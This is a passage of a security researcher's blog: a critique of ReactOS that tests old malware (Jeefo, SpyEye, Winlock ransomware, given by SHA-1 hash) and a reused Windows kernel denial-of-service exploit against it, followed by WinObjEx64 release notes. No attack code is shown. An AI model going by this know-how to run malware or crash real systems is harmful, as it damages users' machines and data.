When it comes to ReactOS PR I often hear same myths about this OS. First of it (guess what) can be easily dismounted just by looking on their code and all these bugs. Second one is about "we never used anything from MS blah blah blah" is an obvious lie for saving face and it is working only with partially brain dead audience, and third one is about how this OS is better against malware compared to 2K/XP/2003. While turning discussion into typical ReactOS propaganda and demagogy this often ends with "malware cannot work, because we are in alpha stage, nothing works". One of most favorite jokes about ReactOS sound like "are the viruses already work on it?" There you must understand that current malware highly likely indeed will not work on ReactOS just because this platform is outdated and missing features that modern malware will require for basic operations. However since entire code base derived from the late of 199x - early of 200x we have an opportunity for malware of that age. So here is an ultimate answer on question - how does ReactOS protected against malware? Nohow. Actually it is open yard for it, way easy to work than even on Win2k.

The test scenario: take popular widespread malware of the early 200x and run it on ReactOS. Then we take an antivirus software of that age and attempt to detect/remove this malware.

As malware sample we will use Hidden Dragon parasitic virus (aka Jeefo/Hidrag, sample SHA-1 2ac1c19e268c49bc508f83fe3d20f495deb3e538). 

As antivirus program something light/basic and capable of detecting and removing this malware Doctor Web 4.33, console version, why console read next. ClamAV too. Something else? Well, it was problematic to find DrWeb of that age, so I leave this area of experiments for these who wants waste their time.

When started Jeefo immediately got to the LocalSystem by installing itself as "PowerManager" service. Next it started file infection activity. In less than one minute it infected multiple files inside "ReactOS" system directories - this was confirmed by searching for Jeefo specific data "jeefo!" - a part of obfuscated string this virus uses for marking infected executable. Note that all of them were working stable and OS didn't crash. It infected 27 files in first minute and 49 total when I finished test.

Pic 4-2. Jeefo infected winhlp32.exe

Pic 4-3 Jeefo at work.

Conclusion - parasitic viruses are working well or at least capable of that. What about AV? All attempts to install or run DrWeb GUI version failed - ReactOS hangs, bluescreens etc. So I found console DOS version of scanner, ensured it is working on Windows XP and capable of Jeefo detect/removal and then copied it to the ReactOS machine. Not to say I was surprised but DrWeb failed to work, while been able to initialize. By the way initialization process took around FIVE minutes to complete, while on Windows XP it takes few seconds at best.

Pic 4-4. DrWeb failed to work.
What about ClamAV? This is really sad story, while it can be installed on ReactOS, it is practically unusable because in our tests it takes forever to start scan. You can install it, download ClamAV database, but everything ends here. I waited about 3 hours when clamscan or clamd will launch without any success - entire OS was completely unusable in this process with CPU stuck at 100% usage and only hard reset was option to quit this. Note that ClamAV database is just around 160 megabytes. Performance of this NT clone is something unbelievable (need more and more global locks in kernel probably, sarcasm).

Next attempt was with more complex malware - SpyEye bot, unfortunately first sample (SHA-1 ae38b3e2f135c018570fa01360ed49df94f86224) failed to initialize because of missing dll function and second sample (SHA-1 594740f33841eed53fad5a712f5b35f7190ebc72) hang entire ReactOS during start (note this bot does not utilize any sophisticated stuff or kernel mode drivers). As conclusion here - more recent malware coded at the late of 200x will likely not work, with exception to... ransomware. This is actually fun to see - entire GUI start flickering, speaker produces strange sounds and everything is so screwed up, this type of malicious software also feel itself not really good with ReactOS. This is screenshot of Winlock banner type ransomware working with some difficulties (Borland Delphi origin script-kiddie coding problems).

Pic 4-5. Winlock (SHA-1 81a2dddfea7786bdaeef62f194d14571b69b8508).

So general answer here - malware can work, anti-malware - not, this is genius. By installing and using this piece of software on real hardware you are putting your hardware and your data at extremely high risk, opening your PC for malware (practically you are shooting in your own head). Don't forget file viruses are still not vanished completely and typical use case of ReactOS is running old programs, which maybe infected by file viruses that were widespread back at early of 200x.

Partially true story

Another and probably the last popular story about ReactOS is that it is protected from Windows exploits. While it is basically true and cannot be called "myth" in full meaning of this word because exploits for Windows kernel and it components usually utilize Microsoft specific bugs and features that are missing and/or maybe implemented differently in ReactOS, this doesn't mean these exploits cannot affect ReactOS. Here we have an interesting dilemma, you have exceptionally good quality code to reproduce not only original, but also it critical bugs. Or your code is simple "inspired" by contents of few zip archives 😉 or some program with some lady on logo. Anyway it took me a little to google Microsoft Windows XP - 'win32k.sys' Local Kernel Denial of Service by Lufeng Li, shake it a little to be compatible with ReactOS syscall and what a coincidence - it works! 😆 I do realize this can be caused by overall kvality of the given system call prior to the initial problem but it is too boring to find exact reason, I just was a little bit surprised, so good job you managed to surprise me!

ReactOS as platform for retro gaming

How about using ReactOS as platform for running old games? Perhaps we can play some old games that cannot be played on modern Windows versions? Hahaha, of course. No. I know about Solitaire but I want to play in something more exciting. Something like Quake. Unfortunately Quake 1 doesn't work, I somehow managed to get it to the main menu, but after that it always crashes. So next one was Quake 2. While I understand this game can run on modern PC I still want to try it on ReactOS. OpenGL rendering mode crashed it, so I switched to software rendering and was able to somewhat play it. Why "somewhat"? ReactOS seems having problems with timing because Quake 2 runs like if it on x4 speed, pretty unplayable. However, yes it can be started. Huge success for ReactOS! The last game in my try list was Unreal from Epic MegaGames. Attempt to run with OpenGL renderer resulted in this (framerate is about 1 fps per 2 seconds).

Pic 4-6. Unreal with OpenGL renderer.
ReactOS has really terrible performance in every aspect of it work, especially when it comes to graphics. Since 1 fps per 2 seconds and bunch of glitches like above is obviously made this unplayable I switched to software rendering.

Pic 4-7. Unreal with software rendering.

It works! 😉 Still slightly over accelerated but much better than Quake 2. This can be playable with a little pain (of course if you don't mind to play without sound with keyboard and mouse are sometimes does not responding as quickly as you want from them).

Pic 4-8. Unreal NyLeve map.

So if you are masochist and can play without sound with some glitches - ReactOS is our chose for playing Unreal. Definitely not my, Unreal for sure can be played on modern hardware and Windows 10 easily. So what is the point of gaming on ReactOS?


This is a syscall table with all mentioned bugs (MRGA+IRGA) and their id's, as per beginning of December 2019. There is much more, but this is what was already made public. Numbering in order of discovery, each ReactOS component has it own id list. Numbering include all types of bugs including system crash results (BSOD/Stop/etc).

As conclusion of the above - it seems this project has no real goals, nor even understanding of it own purpose and suffers from ridiculous number of critical bugs.

Someone may say - it is educational project, giving students insides to Windows internals API and experience of OS development. 

It is a complete nonsense. Are you kidding or what? How does this reverse-engineered project which for the past 15 years has been trying to hide the original ms code can teach anything on Windows Internals? Which internals by the way? Twenty five years old Windows kernel? Give these students real Windows code from Windows Research Kernel and this will be million times better than making them dig in that ancient garbage called ReactOS which suffer from numerous bugs and design solutions that only can be made by inexperienced students. Currently it is not a problem to find that WRK source.

What I honestly don't understand - why for all these years no one actually rewrite that old code, this is one of the key parts of OS. All the above bugs are easy to find, and easy to fix, this is not a rocket science. Of course making endless commits with language fixes (when nobody gives a single fuck except commit author) is easier, but still, wtf.

Next stop on ReactOS station will be in the end of 2020 or 2021 depending on moon phase, if something extraordinary won't happen until this of course. Maybe we can touch x64 version then (and BSOD it of course) 😃

Hey pshh, I know what you want, another bug that crashes/hangs ReactOS. Here I have it for you, it is one-liner as you like (ROS_GENERIC_001).

Pic 5-1. "Why are you so broken, suka blyat?"

Spoiler for BSODScreen

It is NtUserGetAsyncKeyState (ROS_NTUSER_BSOD_018) where they implemented perfect integer overflow and protected service from it by doing sanity checks in the user mode wrapper.

Pic 5-2. BSODScreen spoiler.


  1.  ROCALL - ReactOS syscall fuzzer. https://github.com/hfiref0x/ROCALL
  2.  BSODScreen - BSOD screensaver that does real BSOD but only on ReactOS. https://github.com/hfiref0x/BSODScreen
  3.  Win32u - Windows win32u similar dll for easy working with Win32k services, machine generated, maybe broken in next ReactOS versions due to changed syscalls. https://github.com/hfiref0x/Misc/tree/master/source/ROS/win32u
  4. Making ReactOS Great Again, Part 1. https://www.kernelmode.info/forum/viewtopic6f46.html?f=11&t=5302

✇The Vault

WinObjEx64 v1.8.2 release

By: hfiref0x
Here is summary of changes from previous WinObjEx64 version. It is much detailed than any change log or help section. In future I plan to post such entry for each next WinObjEx64 release, it also should help tracking not only changes but possible regressions or bugs.

Lets start with current 1.8.2 release. 

Pic 1. WinObjEx64 main window

This version mostly focusing on fixing various incompatibility issues and bugs found during usage/tests as well as providing additional support for newest Windows 10 20H1. 

Lets start with fixes.

The first important fix is for High DPI use case where several dialogs (presumable Object page, UserSharedData and ApiSetSchema main window) were affected with GUI artifacts during running with non default system DPI values. There personally I don't have enough usage data to fix this earlier as at least Object/UserSharedData dialogs were affected for a long time.

Another fix is for Pipe dialog, where Security page was mistakenly disabled even when security information was available for selected pipe. This regression was added in one of the previous releases.

Lots of work related to making WinObjEx64 run on Wine/Wine-Staging. The main problem with Wine was always how it interprets internals of Windows Native API. Without proper workarounds it is impossible to run WinObjEx64 on Wine. For example one of first problems with Wine in the past was how Wine defines NtQueryDirectoryObject behavior - in a completely different way than it is on Windows. It required input buffer not to be NULL and does not return required buffer size. Another big glitch was related to how it align several system information structures in memory with layout identical for both x86-32 and x64.

This time the following Wine/Wine-Staging incompatibles/bugs were fixed:
  1. Wine has no themes support from the box. Maybe they somehow can be enabled, IDK and honestly don't care, but from the box it doesn't have them. No support in Wine-Staging too. WinObjEx64 uses custom control named TreeList which is a combination of header and treeview controls. With no themes support there was no glyphs (opened/closed) used for parent node identification. So now they are drawn manually in case if theme support is not available.
  2. Wine-Staging includes special hack "hide Wine exports from applications" which does exactly what is called. This is done for applications that a deliberately attempt to detect Wine presence (and probably won't allow execution on it). Internally this is implemented as patch for LdrGetProcedureAddress of Wine ntdll.dll, they check requested routine name against small blacklist, implementation details can be found here https://github.com/Endle/wine-staging-mirror/blob/0129dc85392882c97f8b50955bbf3633e0b573f4/patches/ntdll-Hide_Wine_Exports/0001-ntdll-Add-support-for-hiding-wine-version-informatio.patch#L115 However during usage we came across situation when we need this setting enabled and WinObjEx64 must be running too. For work WinObjEx64 must know if it is running on Wine, otherwise it will fail properly initialize. So this resulted in implementing bypass of the following Wine-Staging hack.
  3. Another one Wine problem was Globals window (can be called from About -> Globals button) always having no window title. Without digging why this happens on Wine this dialog was simple completely redesigned for better look and more details in output.
There also few small fixes including some typo fix in Debug object description.

What's new.

New Windows 10 20H1 syscall filtering callback was added to the callbacks dialog list. Keep in mind this particular Windows feature maybe not yet completed and perhaps may change in 20H1 release. Anyway I plan to keep it as long as possible. More details what this new callback does can be read here https://github.com/0xcpu/WinAltSyscallHandler/blob/master/README.md

I've added viewing of token properties as object, including it security (which you can view and edit if you have enough privileges) and viewing of token security attributes (inspired by tiraniddo https://twitter.com/tiraniddo/status/1192583900645732352)

Pic 2. Token properties dialog.

That's all major changes in this version. The next one will be developed in 2020 and probably include bug fixes and compatibility fixes for Windows 10 20H1 as well as perhaps we can start adaptation for Windows 10 20H2.

✇The Vault


By: hfiref0x
Been a while from last time I blogged anything. Actually almost 10 years since rootkit.com, different place - different times. So what this blog will be about. Things that I found interesting to note, maybe something related to Windows development, or my own or both.There also could be posts about malicious software since I spent about 20 years on it reversing, analysis and developing methods of it detection and elimination. Maybe but I not guarantee that. Do not expect anything fancy as I decided to do this blog exceptionally for my own fun.

Here will be no additional introduction or detailing long path work. Being as is gives me excellent opportunity to write what I really think about things without any corporate ethics/restrictions, and other kind of bullshit.

Also forgive me for my Engrish. It is definitely not my native.

Where you can reach me except this blog:
https://twitter.com/hfiref0x (rarely visited), (account terminated, update February 26, 2022)
https://www.kernelmode.info/forum/ under nickname EP_X0FF, (forum closed, update December 13, 2019)

There are no other active accounts that belongs to me anywhere. Anything else is either abandoned or fakes.
  • There are no more articles